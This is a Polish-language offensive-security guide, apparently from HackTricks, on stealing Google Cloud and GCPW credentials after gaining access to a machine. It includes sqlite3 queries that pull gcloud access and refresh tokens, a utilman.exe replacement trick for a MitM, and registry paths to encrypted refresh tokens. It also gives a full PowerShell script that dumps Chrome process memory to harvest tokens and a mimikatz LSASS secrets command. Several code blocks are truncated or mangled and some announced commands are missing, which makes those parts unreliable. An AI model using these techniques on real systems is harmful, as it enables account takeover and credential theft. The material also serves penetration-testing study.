Te techniki są przydatne, gdy w jakiś sposób skompromitujesz dane uwierzytelniające GCP lub maszynę działającą w środowisku GCP.
Token Hijacking
Authenticated User Tokens
Aby uzyskać aktualny token użytkownika, możesz uruchomić:
sqlite3 $HOME/.config/gcloud/access_tokens.db"select access_token from access_tokens where account_id='<email>';"
Sprawdź na tej stronie, jak bezpośrednio użyć tego tokena za pomocą gcloud:
Aby uzyskać szczegóły dotyczące generowania nowego tokena dostępu, uruchom:
sqlite3 $HOME/.config/gcloud/credentials.db"select value from credentials where account_id='<email>';"
Możliwe jest również znalezienie tokenów odświeżania w $HOME/.config/gcloud/application_default_credentials.json oraz w $HOME/.config/gcloud/legacy_credentials/*/adc.json.
Aby uzyskać nowy odświeżony token dostępu za pomocą tokena odświeżania, identyfikatora klienta i tajnego klucza klienta, uruchom:
Ważność tokenów odświeżania można zarządzać w Admin > Security > Google Cloud session control, a domyślnie jest ustawiona na 16h, chociaż można ustawić, aby nigdy nie wygasały:
Auth flow
Przepływ uwierzytelniania podczas korzystania z czegoś takiego jak gcloud auth login otworzy okno w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to do otwartego portu http przez narzędzie:
Następnie gcloud użyje stanu i kodu z pewnym zakodowanym na sztywno client_id (32555940559.apps.googleusercontent.com) oraz client_secret (ZmssLNjJy2998hD4CTg2ejr2), aby uzyskać ostateczne dane tokena odświeżania.
Zauważ, że komunikacja z localhostem odbywa się w HTTP, więc możliwe jest przechwycenie danych, aby uzyskać token odświeżania, jednak te dane są ważne tylko 1 raz, więc byłoby to bezużyteczne, łatwiej jest po prostu odczytać token odświeżania z pliku.
to jest interesujące, jak ta aplikacja obsługuje zakres drive, co może pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zdoła zmusić użytkownika do wygenerowania tokena z tym zakresem.
Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się skompromentować plik klucza prywatnego konta serwisowego, będziesz mógł uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz.
Jednak jeśli ukradniesz token OAuth konta serwisowego, może to być jeszcze bardziej interesujące, ponieważ, nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli ofiara usunie prywatny klucz API, token OAuth będzie nadal ważny aż do wygaśnięcia.
Metadane
Oczywiście, dopóki jesteś w maszynie działającej w środowisku GCP, będziesz mógł uzyskać dostęp do konta serwisowego przypisanego do tej maszyny, kontaktując się z punktem końcowym metadanych (zauważ, że tokeny OAuth, do których możesz uzyskać dostęp w tym punkcie końcowym, są zazwyczaj ograniczone przez zakresy).
To jest jednolity system logowania, który zapewnia Google Workspaces, aby użytkownicy mogli logować się na swoich komputerach z systemem Windows, używając swoich poświadczeń Workspace. Co więcej, to będzie przechowywać tokeny do uzyskania dostępu do Google Workspace w jakimś miejscu na komputerze.
GCPW - MitM
Gdy użytkownik uzyskuje dostęp do komputera z systemem Windows zsynchronizowanego z Google Workspace za pośrednictwem GCPW, będzie musiał wypełnić wspólny formularz logowania. Ten formularz logowania zwróci kod OAuth, który komputer wymieni na token odświeżania w żądaniu takim jak:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Nowe linie zostały dodane, aby poprawić czytelność.
Możliwe było przeprowadzenie ataku MitM, instalując Proxifier na komputerze, nadpisując binarny plik utilman.exe plikiem cmd.exe i uruchamiając funkcje ułatwień dostępu na stronie logowania Windows, co uruchomi CMD, z którego można uruchomić i skonfigurować Proxifier.
Nie zapomnij zablokować ruchu QUICK UDP w Proxifier, aby zredukować go do komunikacji TCP, dzięki czemu będziesz mógł go zobaczyć.
Skonfiguruj również w "Usługi i inni użytkownicy" obie opcje i zainstaluj certyfikat Burp CA w systemie Windows.
Dodatkowo dodanie kluczy enable_verbose_logging = 1 i log_file_path = C:\Public\gcpw.log w HKLM:\SOFTWARE\Google\GCPW pozwala na przechowywanie niektórych logów.
GCPW - Odcisk palca
Możliwe jest sprawdzenie, czy GCPW jest zainstalowane na urządzeniu, sprawdzając, czy istnieje następujący proces lub czy istnieją następujące klucze rejestru:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
W HKCU:\SOFTWARE\Google\Accounts można uzyskać dostęp do adresu e-mail użytkownika oraz zaszyfrowanego refresh token jeśli użytkownik niedawno się zalogował.
W HKLM:\SOFTWARE\Google\GCPW\Users można znaleźć domeny dozwolone do logowania w kluczu domains_allowed, a w podkluczach można znaleźć informacje o użytkowniku, takie jak e-mail, zdjęcie, nazwa użytkownika, czasy życia tokenów, uchwyt tokena...
Uchwyt tokena to token, który zaczyna się od eth. i z którego można wyodrębnić pewne informacje za pomocą zapytania, takiego jak:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
Możliwe jest również znalezienie uchwytu tokena dostępu za pomocą żądania takiego jak:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}
Afaik nie jest możliwe uzyskanie tokenu odświeżania lub tokenu dostępu z uchwytu tokenu.
Ponadto plik C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse jest plikiem json zawierającym informacje o różnych ustawieniach takich jak enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (czy kilku użytkowników z Workspace może zalogować się na komputerze) oraz validityPeriodDays (liczba dni, przez które użytkownik nie musi ponownie uwierzytelnić się bezpośrednio w Google).
GCPW - Tokeny odświeżania rejestru
W rejestrze HKCU:\SOFTWARE\Google\Accounts może być możliwe znalezienie niektórych kont z refresh_token zaszyfrowanym wewnątrz. Metoda ProtectedData.Unprotect może łatwo to odszyfrować.
Uzyskaj HKCU:\SOFTWARE\Google\Accounts dane i odszyfruj refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), jeśli nie znajdziesz tokena w rejestrze, możliwe jest zmodyfikowanie wartości (lub usunięcie) z **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** i następnym razem, gdy użytkownik uzyska dostęp do komputera, będzie musiał się ponownie zalogować, a **token zostanie zapisany w poprzednim rejestrze**.
### GCPW - Tokeny odświeżania dysku
Plik **`%LocalAppData%\Google\Chrome\User Data\Local State`** przechowuje klucz do odszyfrowania **`refresh_tokens`** znajdujących się w **profilach Google Chrome** użytkownika, takich jak:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Możliwe jest znalezienie pewnego **kodu C#** uzyskującego dostęp do tych tokenów w odszyfrowanej formie w [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Ponadto, szyfrowanie można znaleźć w tym kodzie: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)
Można zaobserwować, że używany jest AESGCM, zaszyfrowany token zaczyna się od **wersji** (**`v10`** w tym czasie), następnie [**ma 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), a następnie ma **tekst szyfrowany** z końcowym **mac o długości 16B**.
### GCPW - Zrzucanie tokenów z pamięci procesów
Poniższy skrypt można użyć do **zrzucenia** każdego procesu **Chrome** za pomocą `procdump`, wyodrębnić **ciągi** i następnie **wyszukać** ciągi związane z **tokenami dostępu i odświeżania**. Jeśli Chrome jest połączony z jakąś stroną Google, jakiś **proces będzie przechowywał tokeny odświeżania i/lub dostępu w pamięci!**
<details>
<summary>Zrzut procesów Chrome i wyszukiwanie tokenów</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Spróbowałem tego samego z gcpw_extension.exe, ale nie znalazło żadnego tokena.
Z jakiegoś powodu, niektóre wyodrębnione tokeny dostępu nie będą ważne (chociaż niektóre będą). Próbowałem następującego skryptu, aby usunąć znaki jeden po drugim, aby spróbować uzyskać ważny token z zrzutu. Nigdy nie pomogło mi to znaleźć ważnego, ale może się przyda:
Sprawdź token dostępu, usuwając znaki jeden po drugim
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Odzyskiwanie hasła w postaci czystego tekstu
Aby wykorzystać GCPW do odzyskania hasła w postaci czystego tekstu, można zrzucić zaszyfrowane hasło z **LSASS** za pomocą **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe token::elevate lsadump::secrets exit
Następnie wyszukaj sekret taki jak Chrome-GCPW-<sid> jak na obrazku:
Następnie, z tokenem dostępu o zakresie https://www.google.com/accounts/OAuthLogin, możliwe jest zażądanie prywatnego klucza do odszyfrowania hasła: